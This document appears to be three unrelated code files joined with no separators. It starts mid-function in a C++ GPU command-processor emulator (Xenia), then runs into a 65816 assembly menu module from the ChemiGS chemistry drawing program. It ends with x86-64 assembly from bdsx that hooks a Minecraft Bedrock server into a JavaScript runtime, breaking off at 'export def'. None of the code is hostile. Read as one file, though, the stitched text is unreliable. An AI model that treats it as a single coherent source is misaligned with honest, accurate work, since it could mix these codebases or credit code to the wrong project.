uint32_t write_ptr_index = write_ptr_index_; uint32_t write_ptr_max_index = write_ptr_max_index_; if (read_ptr_index_ == write_ptr_index) { return; } // Process the new commands. XETRACECP("Command processor thread work"); // Execute. Note that we handle wraparound transparently. ExecutePrimaryBuffer(read_ptr_index_, write_ptr_index); read_ptr_index_ = write_ptr_index; // TODO(benvanik): use read_ptr_update_freq_ and only issue after moving // that many indices. if (read_ptr_writeback_ptr_) { poly::store_and_swap<uint32_t>(p + read_ptr_writeback_ptr_, read_ptr_index_); } } void CommandProcessor::ExecutePrimaryBuffer( uint32_t start_index, uint32_t end_index) { SCOPE_profile_cpu_f("gpu"); // Adjust pointer base. uint32_t ptr = primary_buffer_ptr_ + start_index * 4; ptr = (primary_buffer_ptr_ & ~0x1FFFFFFF) | (ptr & 0x1FFFFFFF); uint32_t end_ptr = primary_buffer_ptr_ + end_index * 4; end_ptr = (primary_buffer_ptr_ & ~0x1FFFFFFF) | (end_ptr & 0x1FFFFFFF); XETRACECP("[%.8X] ExecutePrimaryBuffer(%dw -> %dw)", ptr, start_index, end_index); // Execute commands! PacketArgs args; args.ptr = ptr; args.base_ptr = primary_buffer_ptr_; args.max_address = primary_buffer_ptr_ + primary_buffer_size_; args.ptr_mask = (primary_buffer_size_ / 4) - 1; uint32_t n = 0; while (args.ptr != end_ptr) { n += ExecutePacket(args); assert_true(args.ptr < args.max_address); } if (end_index > start_index) { assert_true(n == (end_index - start_index)); } XETRACECP(" ExecutePrimaryBuffer End"); } void CommandProcessor::ExecuteIndirectBuffer(uint32_t ptr, uint32_t length) { XETRACECP("[%.8X] ExecuteIndirectBuffer(%dw)", ptr, length); // Execute commands! PacketArgs args; args.ptr = ptr; args.base_ptr = ptr; args.max_address = ptr + length * 4; args.ptr_mask = 0; for (uint32_t n = 0; n < length;) { n += ExecutePacket(args); assert_true(n <= length); } XETRACECP(" ExecuteIndirectBuffer End"); } #define LOG_DATA(count) \ for (uint32_t __m = 0; __m < count; __m++) { \ XETRACECP("[%.8X] %.8X", \ packet_ptr + (1 + __m) * 4, \ poly::load_and_swap<uint32_t>(packet_base + 1 * 4 + __m * 4)); \ } void CommandProcessor::AdvancePtr(PacketArgs& args, uint32_t n) { args.ptr = args.ptr + n * 4; if (args.ptr_mask) { args.ptr = args.base_ptr + (((args.ptr - args.base_ptr) / 4) & args.ptr_mask) * 4; } } #define ADVANCE_PTR(n) AdvancePtr(args, n) #define PEEK_PTR() \ poly::load_and_swap<uint32_t>(p + args.ptr) #define READ_PTR() \ poly::load_and_swap<uint32_t>(p + args.ptr); ADVANCE_PTR(1); uint32_t CommandProcessor::ExecutePacket(PacketArgs& args) { uint8_t* p = memory_->membase(); RegisterFile* regs = driver_->register_file(); uint32_t packet_ptr = args.ptr; const uint8_t* packet_base = p + packet_ptr; const uint32_t packet = PEEK_PTR(); ADVANCE_PTR(1); const uint32_t packet_type = packet >> 30; if (packet == 0) { XETRACECP("[%.8X] Packet(%.8X): 0?", packet_ptr, packet); return 1; } switch (packet_type) { case 0x00: { // Type-0 packet. // Write count registers in sequence to the registers starting at // (base_index << 2). XETRACECP("[%.8X] Packet(%.8X): set registers:", packet_ptr, packet); uint32_t count = ((packet >> 16) & 0x3FFF) + 1; uint32_t base_index = (packet & 0x7FFF); uint32_t write_one_reg = (packet >> 15) & 0x1; for (uint32_t m = 0; m < count; m++) { uint32_t reg_data = PEEK_PTR(); uint32_t target_index = write_one_reg ? base_index : base_index + m; const char* reg_name = regs->GetRegisterName(target_index); XETRACECP("[%.8X] %.8X -> %.4X %s", args.ptr, reg_data, target_index, reg_name ? reg_name : ""); ADVANCE_PTR(1); WriteRegister(packet_ptr, target_index, reg_data); } return 1 + count; } break; case 0x01: { // Type-1 packet. // Contains two registers of data. Type-0 should be more common. XETRACECP("[%.8X] Packet(%.8X): set registers:", packet_ptr, packet); uint32_t reg_index_1 = packet & 0x7FF; uint32_t reg_index_2 = (packet >> 11) & 0x7FF; uint32_t reg_ptr_1 = args.ptr; uint32_t reg_data_1 = READ_PTR(); uint32_t reg_ptr_2 = args.ptr; uint32_t reg_data_2 = READ_PTR(); const char* reg_name_1 = regs->GetRegisterName(reg_index_1); const char* reg_name_2 = regs->GetRegisterName(reg_index_2); XETRACECP("[%.8X] %.8X -> %.4X %s", reg_ptr_1, reg_data_1, reg_index_1, reg_name_1 ? reg_name_1 : ""); XETRACECP("[%.8X] %.8X -> %.4X %s", reg_ptr_2, reg_data_2, reg_index_2, reg_name_2 ? reg_name_2 : ""); WriteRegister(packet_ptr, reg_index_1, reg_data_1); WriteRegister(packet_ptr, reg_index_2, reg_data_2); return 1 + 2; } break; case 0x02: // Type-2 packet. // No-op. Do nothing. XETRACECP("[%.8X] Packet(%.8X): padding", packet_ptr, packet); return 1; case 0x03: { // Type-3 packet. uint32_t count = ((packet >> 16) & 0x3FFF) + 1; uint32_t opcode = (packet >> 8) & 0x7F; // & 1 == predicate, maybe? switch (opcode) { case PM4_ME_INIT: // initialize CP's micro-engine XETRACECP("[%.8X] Packet(%.8X): PM4_ME_INIT", packet_ptr, packet); LOG_DATA(count); ADVANCE_PTR(count); break; case PM4_NOP: // skip N 32-bit words to get to the next packet // No-op, ignore some data. XETRACECP("[%.8X] Packet(%.8X): PM4_NOP", packet_ptr, packet); LOG_DATA(count); ADVANCE_PTR(count); break; case PM4_INTERRUPT: // generate interrupt from the command stream { XETRACECP("[%.8X] Packet(%.8X): PM4_INTERRUPT", packet_ptr, packet); LOG_DATA(count); uint32_t cpu_mask = READ_PTR(); for (int n = 0; n < 6; n++) { if (cpu_mask & (1 << n)) { graphics_system_->DispatchInterruptCallback(1, n); } } } break; case PM4_XE_SWAP: // Xenia-specific VdSwap hook. // VdSwap will post this to tell us we need to swap the screen/fire an interrupt. XETRACECP("[%.8X] Packet(%.8X): PM4_XE_SWAP", packet_ptr, packet); LOG_DATA(count); ADVANCE_PTR(count); graphics_system_->Swap(); break; case PM4_INDIRECT_BUFFER: // indirect buffer dispatch { uint32_t list_ptr = READ_PTR(); uint32_t list_length = READ_PTR(); XETRACECP("[%.8X] Packet(%.8X): PM4_INDIRECT_BUFFER %.8X (%dw)", packet_ptr, packet, list_ptr, list_length); ExecuteIndirectBuffer(GpuToCpu(list_ptr), list_length); } break; case PM4_WAIT_REG_MEM: // wait until a register or memory location is a specific value { XETRACECP("[%.8X] Packet(%.8X): PM4_WAIT_REG_MEM", packet_ptr, packet); LOG_DATA(count); uint32_t wait_info = READ_PTR(); uint32_t poll_reg_addr = READ_PTR(); uint32_t ref = READ_PTR(); uint32_t mask = READ_PTR(); uint32_t wait = READ_PTR(); bool matched = false; do { uint32_t value; if (wait_info & 0x10) { // Memory. XE_GPU_ENDIAN endianness = (XE_GPU_ENDIAN)(poll_reg_addr & 0x3); poll_reg_addr &= ~0x3; value = poly::load<uint32_t>(p + GpuToCpu(packet_ptr, poll_reg_addr)); value = GpuSwap(value, endianness); } else { // Register. assert_true(poll_reg_addr < RegisterFile::kRegisterCount); value = regs->values[poll_reg_addr].u32; if (poll_reg_addr == XE_GPU_REG_COHER_STATUS_HOST) { MakeCoherent(); value = regs->values[poll_reg_addr].u32; } } switch (wait_info & 0x7) { case 0x0: // Never. matched = false; break; case 0x1: // Less than reference. matched = (value & mask) < ref; break; case 0x2: // Less than or equal to reference. matched = (value & mask) <= ref; break; case 0x3: // Equal to reference. matched = (value & mask) == ref; break; case 0x4: // Not equal to reference. matched = (value & mask) != ref; break; case 0x5: // Greater than or equal to reference. matched = (value & mask) >= ref; break; case 0x6: // Greater than reference. matched = (value & mask) > ref; break; case 0x7: // Always matched = true; break; } if (!matched) { // Wait. if (wait >= 0x100) { Sleep(wait / 0x100); } else { SwitchToThread(); } } } while (!matched); } break; case PM4_REG_RMW: // register read/modify/write // ? (used during shader upload and edram setup) { XETRACECP("[%.8X] Packet(%.8X): PM4_REG_RMW", packet_ptr, packet); LOG_DATA(count); uint32_t rmw_info = READ_PTR(); uint32_t and_mask = READ_PTR(); uint32_t or_mask = READ_PTR(); uint32_t value = regs->values[rmw_info & 0x1FFF].u32; if ((rmw_info >> 30) & 0x1) { // | reg value |= regs->values[or_mask & 0x1FFF].u32; } else { // | imm value |= or_mask; } if ((rmw_info >> 31) & 0x1) { // & reg value &= regs->values[and_mask & 0x1FFF].u32; } else { // & imm value &= and_mask; } WriteRegister(packet_ptr, rmw_info & 0x1FFF, value); } break; case PM4_COND_WRITE: // conditional write to memory or register { XETRACECP("[%.8X] Packet(%.8X): PM4_COND_WRITE", packet_ptr, packet); LOG_DATA(count); uint32_t wait_info = READ_PTR(); uint32_t poll_reg_addr = READ_PTR(); uint32_t ref = READ_PTR(); uint32_t mask = READ_PTR(); uint32_t write_reg_addr = READ_PTR(); uint32_t write_data = READ_PTR(); uint32_t value; if (wait_info & 0x10) { // Memory. XE_GPU_ENDIAN endianness = (XE_GPU_ENDIAN)(poll_reg_addr & 0x3); poll_reg_addr &= ~0x3; value = poly::load<uint32_t>(p + GpuToCpu(packet_ptr, poll_reg_addr)); value = GpuSwap(value, endianness); } else { // Register. assert_true(poll_reg_addr < RegisterFile::kRegisterCount); value = regs->values[poll_reg_addr].u32; } bool matched = false; switch (wait_info & 0x7) { case 0x0: // Never. matched = false; break; case 0x1: // Less than reference. matched = (value & mask) < ref; break; case 0x2: // Less than or equal to reference. matched = (value & mask) <= ref; break; case 0x3: // Equal to reference. matched = (value & mask) == ref; break; case 0x4: // Not equal to reference. matched = (value & mask) != ref; break; case 0x5: // Greater than or equal to reference. matched = (value & mask) >= ref; break; case 0x6: // Greater than reference. matched = (value & mask) > ref; break; case 0x7: // Always matched = true; break; } if (matched) { // Write. if (wait_info & 0x100) { // Memory. XE_GPU_ENDIAN endianness = (XE_GPU_ENDIAN)(write_reg_addr & 0x3); write_reg_addr &= ~0x3; write_data = GpuSwap(write_data, endianness); poly::store(p + GpuToCpu(packet_ptr, write_reg_addr), write_data); } else { // Register. WriteRegister(packet_ptr, write_reg_addr, write_data); } } } break; case PM4_EVENT_WRITE: // generate an event that creates a write to memory when completed { XETRACECP("[%.8X] Packet(%.8X): PM4_EVENT_WRITE (unimplemented!)", packet_ptr, packet); LOG_DATA(count); uint32_t initiator = READ_PTR(); if (count == 1) { // Just an event flag? Where does this write? } else { // Write to an address. assert_always(); ADVANCE_PTR(count - 1); } } break; case PM4_EVENT_WRITE_SHD: // generate a VS|PS_done event { XETRACECP("[%.8X] Packet(%.8X): PM4_EVENT_WRITE_SHD", packet_ptr, packet); LOG_DATA(count); uint32_t initiator = READ_PTR(); uint32_t address = READ_PTR(); uint32_t value = READ_PTR(); // Writeback initiator. WriteRegister(packet_ptr, XE_GPU_REG_VGT_EVENT_INITIATOR, initiator & 0x1F); uint32_t data_value; if ((initiator >> 31) & 0x1) { // Write counter (GPU vblank counter?). data_value = counter_; } else { // Write value. data_value = value; } XE_GPU_ENDIAN endianness = (XE_GPU_ENDIAN)(address & 0x3); address &= ~0x3; data_value = GpuSwap(data_value, endianness); poly::store(p + GpuToCpu(address), data_value); } break; case PM4_DRAW_INDX: // initiate fetch of index buffer and draw { XETRACECP("[%.8X] Packet(%.8X): PM4_DRAW_INDX", packet_ptr, packet); LOG_DATA(count); // d0 = viz query info uint32_t d0 = READ_PTR(); uint32_t d1 = READ_PTR(); uint32_t index_count = d1 >> 16; uint32_t prim_type = d1 & 0x3F; uint32_t src_sel = (d1 >> 6) & 0x3; if (!driver_->PrepareDraw(draw_command_)) { draw_command_.prim_type = (XE_GPU_PRIMITIVE_TYPE)prim_type; draw_command_.start_index = 0; draw_command_.index_count = index_count; draw_command_.base_vertex = 0; if (src_sel == 0x0) { // Indexed draw. // TODO(benvanik): detect subregions of larger index buffers! uint32_t index_base = READ_PTR(); uint32_t index_size = READ_PTR(); uint32_t endianness = index_size >> 29; index_size &= 0x00FFFFFF; bool index_32bit = (d1 >> 11) & 0x1; index_size *= index_32bit ? 4 : 2; driver_->PrepareDrawIndexBuffer( draw_command_, index_base, index_size, (XE_GPU_ENDIAN)endianness, index_32bit ? INDEX_FORMAT_32BIT : INDEX_FORMAT_16BIT); } else if (src_sel == 0x2) { // Auto draw. draw_command_.index_buffer = nullptr; } else { // Unknown source select. assert_always(); } driver_->Draw(draw_command_); } else { if (src_sel == 0x0) { ADVANCE_PTR(2); // skip } } } break; case PM4_DRAW_INDX_2: // draw using supplied indices in packet { XETRACECP("[%.8X] Packet(%.8X): PM4_DRAW_INDX_2", packet_ptr, packet); LOG_DATA(count); uint32_t d0 = READ_PTR(); uint32_t index_count = d0 >> 16; uint32_t prim_type = d0 & 0x3F; uint32_t src_sel = (d0 >> 6) & 0x3; assert_true(src_sel == 0x2); // 'SrcSel=AutoIndex' if (!driver_->PrepareDraw(draw_command_)) { draw_command_.prim_type = (XE_GPU_PRIMITIVE_TYPE)prim_type; draw_command_.start_index = 0; draw_command_.index_count = index_count; draw_command_.base_vertex = 0; draw_command_.index_buffer = nullptr; driver_->Draw(draw_command_); } } break; case PM4_SET_CONSTANT: // load constant into chip and to memory { XETRACECP("[%.8X] Packet(%.8X): PM4_SET_CONSTANT", packet_ptr, packet); // PM4_REG(reg) ((0x4 << 16) | (GSL_HAL_SUBBLOCK_OFFSET(reg))) // reg - 0x2000 uint32_t offset_type = READ_PTR(); uint32_t index = offset_type & 0x7FF; uint32_t type = (offset_type >> 16) & 0xFF; switch (type) { case 0x4: // REGISTER index += 0x2000; // registers for (uint32_t n = 0; n < count - 1; n++, index++) { uint32_t data = READ_PTR(); const char* reg_name = regs->GetRegisterName(index); XETRACECP("[%.8X] %.8X -> %.4X %s", packet_ptr + (1 + n) * 4, data, index, reg_name ? reg_name : ""); WriteRegister(packet_ptr, index, data); } break; default: assert_always(); break; } } break; case PM4_LOAD_ALU_CONSTANT: // load constants from memory { XETRACECP("[%.8X] Packet(%.8X): PM4_LOAD_ALU_CONSTANT", packet_ptr, packet); uint32_t address = READ_PTR(); address &= 0x3FFFFFFF; uint32_t offset_type = READ_PTR(); uint32_t index = offset_type & 0x7FF; uint32_t size = READ_PTR(); size &= 0xFFF; index += 0x4000; // alu constants for (uint32_t n = 0; n < size; n++, index++) { uint32_t data = poly::load_and_swap<uint32_t>( p + GpuToCpu(packet_ptr, address + n * 4)); const char* reg_name = regs->GetRegisterName(index); XETRACECP("[%.8X] %.8X -> %.4X %s", packet_ptr, data, index, reg_name ? reg_name : ""); WriteRegister(packet_ptr, index, data); } } break; case PM4_IM_LOAD: // load sequencer instruction memory (pointer-based) { XETRACECP("[%.8X] Packet(%.8X): PM4_IM_LOAD", packet_ptr, packet); LOG_DATA(count); uint32_t addr_type = READ_PTR(); uint32_t type = addr_type & 0x3; uint32_t addr = addr_type & ~0x3; uint32_t start_size = READ_PTR(); uint32_t start = start_size >> 16; uint32_t size = start_size & 0xFFFF; // dwords assert_true(start == 0); driver_->LoadShader((XE_GPU_SHADER_TYPE)type, GpuToCpu(packet_ptr, addr), size * 4, start); } break; case PM4_IM_LOAD_IMMEDIATE: // load sequencer instruction memory (code embedded in packet) { XETRACECP("[%.8X] Packet(%.8X): PM4_IM_LOAD_IMMEDIATE", packet_ptr, packet); LOG_DATA(count); uint32_t type = READ_PTR(); uint32_t start_size = READ_PTR(); uint32_t start = start_size >> 16; uint32_t size = start_size & 0xFFFF; // dwords assert_true(start == 0); // TODO(benvanik): figure out if this could wrap. assert_true(args.ptr + size * 4 < args.max_address); driver_->LoadShader((XE_GPU_SHADER_TYPE)type, args.ptr, size * 4, start); ADVANCE_PTR(size); } break; case PM4_INVALIDATE_STATE: // selective invalidation of state pointers { XETRACECP("[%.8X] Packet(%.8X): PM4_INVALIDATE_STATE", packet_ptr, packet); LOG_DATA(count); uint32_t mask = READ_PTR(); //driver_->InvalidateState(mask); } break; case PM4_SET_BIN_MASK_LO: { uint32_t value = READ_PTR(); XETRACECP("[%.8X] Packet(%.8X): PM4_SET_BIN_MASK_LO = %.8X", packet_ptr, packet, value); } break; case PM4_SET_BIN_MASK_HI: { uint32_t value = READ_PTR(); XETRACECP("[%.8X] Packet(%.8X): PM4_SET_BIN_MASK_HI = %.8X", packet_ptr, packet, value); } break; case PM4_SET_BIN_SELECT_LO: { uint32_t value = READ_PTR(); XETRACECP("[%.8X] Packet(%.8X): PM4_SET_BIN_SELECT_LO = %.8X", packet_ptr, packet, value); } break; case PM4_SET_BIN_SELECT_HI: { uint32_t value = READ_PTR(); XETRACECP("[%.8X] Packet(%.8X): PM4_SET_BIN_SELECT_HI = %.8X", packet_ptr, packet, value); } break; // Ignored packets - useful if breaking on the default handler below. case 0x50: // 0xC0015000 usually 2 words, 0xFFFFFFFF / 0x00000000 XETRACECP("[%.8X] Packet(%.8X): unknown!", packet_ptr, packet); LOG_DATA(count); ADVANCE_PTR(count); break; default: XETRACECP("[%.8X] Packet(%.8X): unknown!", packet_ptr, packet); LOG_DATA(count); ADVANCE_PTR(count); break; } return 1 + count; } break; } return 0; } void CommandProcessor::WriteRegister( uint32_t packet_ptr, uint32_t index, uint32_t value) { RegisterFile* regs = driver_->register_file(); assert_true(index < RegisterFile::kRegisterCount); regs->values[index].u32 = value; // If this is a COHER register, set the dirty flag. // This will block the command processor the next time it WAIT_MEM_REGs and // allow us to synchronize the memory. if (index == XE_GPU_REG_COHER_STATUS_HOST) { regs->values[index].u32 |= 0x80000000ul; } // Scratch register writeback. if (index >= XE_GPU_REG_SCRATCH_REG0 && index <= XE_GPU_REG_SCRATCH_REG7) { uint32_t scratch_reg = index - XE_GPU_REG_SCRATCH_REG0; if ((1 << scratch_reg) & regs->values[XE_GPU_REG_SCRATCH_UMSK].u32) { // Enabled - write to address. uint8_t* p = memory_->membase(); uint32_t scratch_addr = regs->values[XE_GPU_REG_SCRATCH_ADDR].u32; uint32_t mem_addr = scratch_addr + (scratch_reg * 4); poly::store_and_swap<uint32_t>(p + GpuToCpu(primary_buffer_ptr_, mem_addr), value); } } } void CommandProcessor::MakeCoherent() { // Status host often has 0x01000000 or 0x03000000. // This is likely toggling VC (vertex cache) or TC (texture cache). // Or, it also has a direction in here maybe - there is probably // some way to check for dest coherency (what all the COHER_DEST_BASE_* // registers are for). // Best docs I've found on this are here: // http://amd-dev.wpengine.netdna-cdn.com/wordpress/media/2013/10/R6xx_R7xx_3D.pdf // http://cgit.freedesktop.org/xorg/driver/xf86-video-radeonhd/tree/src/r6xx_accel.c?id=3f8b6eccd9dba116cc4801e7f80ce21a879c67d2#n454 RegisterFile* regs = driver_->register_file(); auto status_host = regs->values[XE_GPU_REG_COHER_STATUS_HOST].u32; auto base_host = regs->values[XE_GPU_REG_COHER_BASE_HOST].u32; auto size_host = regs->values[XE_GPU_REG_COHER_SIZE_HOST].u32; if (!(status_host & 0x80000000ul)) { return; } // TODO(benvanik): notify resource cache of base->size and type. XETRACECP("Make %.8X -> %.8X (%db) coherent", base_host, base_host + size_host, size_host); driver_->resource_cache()->SyncRange(base_host, size_host); // Mark coherent. status_host &= ~0x80000000ul; regs->values[XE_GPU_REG_COHER_STATUS_HOST].u32 = status_host; }
keep MENU **************************************************************** * ChemiGS * **************************************************************** * A Drawing Program for Chemical Structures * * (c) 1992-93 by Urs Hochstrasser * * Buendtenweg 6 * * 5105 AUENSTEIN (SWITZERLAND) * **************************************************************** * Module MENU **************************************************************** * * USES ... * mcopy Menu.macros copy equates.asm **************************************************************** * * SUBROUTINES * HandleMenu start using Globals lda gTaskDta get Menu Item ID sec turn into index by substracting 250 sbc #250 asl a and multiplying by 2 tax jsr (menuTable,x) call the routine ~HiliteMenu #0,gTaskDta+2 hilite the selected menu rts menuTable dc i2'Ignore' Undo (250) dc i2'Ignore' Cut (251) dc i2'Ignore' Copy (252) dc i2'Ignore' Paste (253) dc i2'Ignore' Clear (254) dc i2'DoClose' Close (255) dc i2'DoAbout' About... (256) dc i2'DoQuit' Quit (257) dc i2'DoNew' New (258) dc i2'DoOpen' Open (259) dc i2'DoSave' Save (260) dc i2'DoSaveAs' Save As... (261) dc i2'DoRevert' Revert (262) dc i2'DoPSetup' Page Setup... (263) dc i2'DoPrint' Print... (264) dc i2'Ignore' Select All (265) ??????? dc i2'Ignore' Bring To Front (266) dc i2'Ignore' Choose Font (267) dc i2'Ignore' Show Clipboard (268) dc i2'Ignore' Send To Back (269) dc i2'Ignore' Group (270) dc i2'Ignore' Ungroup (271) dc i2'Ignore' Size (272) dc i2'DoPrefs' Preferences (273) dc i2'Test' Grid (274) dc i2'Test' Select All (275) dc i2'DoHelp' Help (276) dc i2'Test' Test Beep end
# bdsx-asm # I ported it C++ to TS # and now, I'm porting it TS to asm # How ridiculous # I love C++, but C++ is too slow at compiling # And compilers are too heavy. # I may have to make my own compiler # It's also my own assembler compiler const JsUndefined 0 const JsNull 1 const JsNumber 2 const JsString 3 const JsBoolean 4 const JsObject 5 const JsFunction 6 const JsError 7 const JsArray 8 const JsSymbol 9 const JsArrayBuffer 10 const JsTypedArray 11 const JsDataView 12 const EXCEPTION_BREAKPOINT:dword 80000003h const EXCEPTION_NONCONTINUABLE_EXCEPTION:dword 0xC0000025 export def GetCurrentThreadId:qword export def bedrockLogNp:qword export def vsnprintf:qword export def JsConstructObject:qword export def JsGetAndClearException:qword export def js_null:qword export def nodeThreadId:dword export def runtimeErrorRaise:qword export def RtlCaptureContext:qword export def JsNumberToInt:qword export def JsCallFunction:qword export def js_undefined:qword export def pointer_js2class:qword export def NativePointer:qword export def memset:qword export def uv_async_call:qword export def uv_async_alloc:qword export def uv_async_post:qword ; JsErrorCode pointer_np2js(JsValueRef ctor, void* ptr, JsValueRef* out) export proc pointer_np2js stack 28h mov [rsp+38h], rdx mov [rsp+40h], r8 lea r9, [rsp+20h] lea rdx, [rsp+30h] mov rax, js_null mov r8, 1 mov [rdx], rax call JsConstructObject test eax, eax jnz _eof mov rdx, [rsp+40h] mov rcx, [rsp+20h] mov [rdx], rcx call pointer_js2class mov rcx, [rsp+38h] mov [rax+10h], rcx xor eax, eax endp export def raxValue:qword export def xmm0Value:qword export proc breakBeforeCallNativeFunction int3 jmp callNativeFunction unwind endp ;JsValueRef(JsValueRef callee, bool isConstructCall, JsValueRef *arguments, unsigned short argumentCount, void *callbackState) export proc callNativeFunction ; prologue keep rbp keep rbx stack 28h setframe rbp, 0h mov rbx, r8 ; rbx = arguments xor eax, eax ; arguments[1] to int, stacksize lea rdx, [rbp+40h] ; result mov [rdx], rax mov rcx, [rbx+8h] ; number = arguments[1] call JsNumberToInt sub rsp, [rbp+40h] ; stacksize ; make stack pointer lea r8, [rbp+50h] ; result = &args[1] mov rdx, rsp mov rcx, NativePointer call pointer_np2js test eax, eax jnz _eof ; call second arg mov rcx, [rbx+10h] ; function = arguments[2] lea r9, [rbp+40h] ; returning value mov r8, js_undefined lea rdx, [rbp+48h] ; args mov [rbp+48h], r8 ; args[0] = js_undefined mov r8, 2 ; argumentCount = 2 sub rsp, 0x20 ;JsErrorCode JsCallFunction(JsValueRef function, JsValueRef *args, unsigned short argumentCount, JsValueRef *result) call JsCallFunction test eax, eax jnz _eof ; arguments[3] to pointer, function mov rcx, [rbx+18h] ; arguments[3] call pointer_js2class add rsp, 0x20 ; call native function mov rcx, [rsp] mov rdx, [rsp+8h] mov r8, [rsp+10h] mov r9, [rsp+18h] movsd xmm0, qword ptr[rsp] movsd xmm1, qword ptr[rsp+8h] movsd xmm2, qword ptr[rsp+10h] movsd xmm3, qword ptr[rsp+18h] call [rax+10h] mov raxValue, rax movsd xmm0Value, xmm0 _eof: unwind mov rax, js_undefined ret endp ; r10 = jsfunc, r11 = onError export proc callJsFunction stack 98h mov [rsp+90h], r11 ; onError ; 78h is unused mov [rsp+48h], rcx mov [rsp+50h], rdx mov [rsp+58h], r8 mov [rsp+60h], r9 movsd [rsp+68h], xmm0 movsd [rsp+70h], xmm1 movsd [rsp+78h], xmm2 movsd [rsp+80h], xmm3 mov [rsp+30h], r10 ; jsfunc ; make stack pointer lea r8, [rsp+40h] ; result = &args[1] lea rdx, [rsp+48h] ; stackptr mov rcx, NativePointer call pointer_np2js test eax, eax jnz _error mov rcx, [rsp+30h] ; function = jsfunc lea r9, [rsp+28h] ; result, ignored mov r8, 2 mov rax, js_null lea rdx, [rsp+38h] ; args mov [rsp+38h], rax ; args[0] = null ;JsErrorCode JsCallFunction(JsValueRef function, JsValueRef *args, unsigned short argumentCount, JsValueRef *result) call JsCallFunction test eax, eax jnz _error mov rax, raxValue movsd xmm0, xmm0Value unwind ret _error: mov rcx, [rsp+48h] mov rdx, [rsp+50h] mov r8, [rsp+58h] mov r9, [rsp+60h] movsd xmm0, [rsp+68h] movsd xmm1, [rsp+70h] movsd xmm2, [rsp+78h] movsd xmm3, [rsp+80h] unwind jmp [rsp-8h] ; onError, -98h + 90h endp export def jshook_fireError:qword export def CreateEventW:qword export def CloseHandle:qword export def SetEvent:qword export def WaitForSingleObject:qword proc crosscall_on_gamethread keep rbx stack 20h mov rbx, [rcx+asyncSize] ; stackptr ; make stack pointer lea r8, [rbx+40h] ; result = &args[1] lea rdx, [rbx+48h] ; stackptr mov rcx, NativePointer call pointer_np2js test eax, eax jnz _error mov rcx, [rbx+30h] ; function = jsfunc lea r9, [rbx+28h] ; result, ignored mov r8, 2 mov rax, js_null lea rdx, [rbx+38h] ; args mov [rbx+38h], rax ; args[0] = null ;JsErrorCode JsCallFunction(JsValueRef function, JsValueRef *args, unsigned short argumentCount, JsValueRef *result) call JsCallFunction test eax, eax jnz _error mov rax, raxValue movsd xmm0, xmm0Value mov rcx, [rbx+20h] ; event mov [rbx+28h], rax movsd [rbx+30h], xmm0 call SetEvent unwind ret _error: unwind jmp jsend_crash endp export proc jsend_crossthread const JsErrorNoCurrentContext 0x10003 stack 98h cmp eax, JsErrorNoCurrentContext jne _crash xor ecx, ecx xor edx, edx xor r8, r8 xor r9, r9 call CreateEventW mov [rsp+20h], rax ; event lea rcx, crosscall_on_gamethread mov rdx, 8 call uv_async_alloc mov [rsp+18h], rax ; AsyncTask mov rcx, rax call uv_async_post mov rax, [rsp+18h] ; AsyncTask mov rdx, rsp ; stackptr mov rcx, [rsp+20h] ; event mov [rax+asyncSize], rdx mov edx, -1 call WaitForSingleObject mov rcx, [rsp+20h] call CloseHandle mov rax, [rsp+28h] movsd xmm0, [rsp+30h] unwind ret _crash: endp export proc jsend_crash mov ecx, eax or ecx, 0xE0000000 jmp raise_runtime_error endp export proc jsend_returnZero stack 18h lea rcx, [rsp+10h] call JsGetAndClearException test eax, eax jnz _empty mov rcx, [rsp+10h] call jshook_fireError _empty: xor eax, eax endp ; codes for minecraft export proc logHookAsyncCb mov r8, [rcx + asyncSize + 8h] lea rdx, [rcx + asyncSize + 10h] mov rcx, [rcx + asyncSize] jmp bedrockLogNp endp export proc logHook ; (int severity, char* format, ...) keep rbx stack 20h mov [rsp+30h],ecx ; severity mov [rsp+38h],rdx ; format mov [rsp+40h],r8 ; vl start mov [rsp+48h],r9 ; get the length of vsnprintf lea r9, [rsp+40h] ; r9 = vl mov r8, rdx ; r8 = format xor edx, edx ; bufsize = null mov ecx, edx ; out = null call vsnprintf test rax, rax js _failed ; alloc AsyncTask mov rbx, rax lea rdx, [rax + 11h] lea rcx, logHookAsyncCb call uv_async_alloc mov rcx, [rsp+30h] ; severity mov [rax+asyncSize], rcx mov [rax+asyncSize+8], rbx ; length ; format with vsnprintf lea r9, [rsp+40h] ; vl mov r8, [rsp+38h] ; format lea rdx, [rbx+1] ; bufsize lea rcx, [rax+asyncSize+10h] ; text mov rbx, rax call vsnprintf ; thread check and call call GetCurrentThreadId mov rcx, rbx cmp eax, nodeThreadId jne async_post call logHookAsyncCb jmp _eof async_post: call uv_async_post jmp _eof _failed: mov rdx, 20h lea rcx, logHookAsyncCb call uv_async_alloc mov rdx, [rsp+30h] ; severity mov [rax+asyncSize], rdx mov [rax+asyncSize+8h], 15 lea rcx, "[format failed]" mov rdx, [rcx] mov [rax+asyncSize+10h], rdx mov rdx, [rcx+8] mov [rax+asyncSize+18h], rdx endp ; [[noreturn]] runtime_error(EXCEPTION_POINTERS* err) export proc runtime_error mov rax, [rcx] cmp dword ptr[rax], EXCEPTION_BREAKPOINT je _ignore jmp runtimeErrorRaise _ignore: endp ; [[noreturn]] raise_runtime_error(int err) export proc raise_runtime_error const sizeofEXCEPTION_RECORD 152 const sizeofCONTEXT 1232 const sizeofEXCEPTION_POINTERS 16 const stackSize (sizeofEXCEPTION_RECORD + sizeofCONTEXT + sizeofEXCEPTION_POINTERS) const alignOffset 8 const stackOffset ((stackSize + 15) & ~15)+alignOffset stack stackOffset ; exception_ptrs lea rdx, [rsp+sizeofEXCEPTION_POINTERS+alignOffset] ; ExceptionRecord mov dword ptr[rdx], ecx ; ExceptionRecord.ExceptionCode lea rcx, [rdx+sizeofEXCEPTION_RECORD] ; ContextRecord mov [rsp+alignOffset], rdx; exception_ptrs.ExceptionRecord mov [rsp+alignOffset+8], rcx; exception_ptrs.ContextRecord call RtlCaptureContext; RtlCaptureContext(&ContextRecord) lea r8, [sizeofEXCEPTION_RECORD-4] lea rcx, [rdx+4] ; ExceptionRecord+4 xor edx, edx call memset lea rcx, [rsp+8] ; exception_ptrs call runtimeErrorRaise endp export def serverInstance:qword export proc ServerInstance_ctor_hook mov serverInstance, rcx endp export proc debugBreak int3 endp export def CommandOutputSenderHookCallback:qword export proc CommandOutputSenderHook stack 28h mov rcx, r8 call CommandOutputSenderHookCallback endp export def commandQueue:qword export def MultiThreadQueueTryDequeue:qword export proc ConsoleInputReader_getLine_hook mov rcx, commandQueue jmp MultiThreadQueueTryDequeue endp def gamelambdaptr:qword export def gameThreadStart:qword; export def gameThreadFinish:qword; export def gameThreadInner:qword ; void gamethread(void* lambda); export def free:qword export def 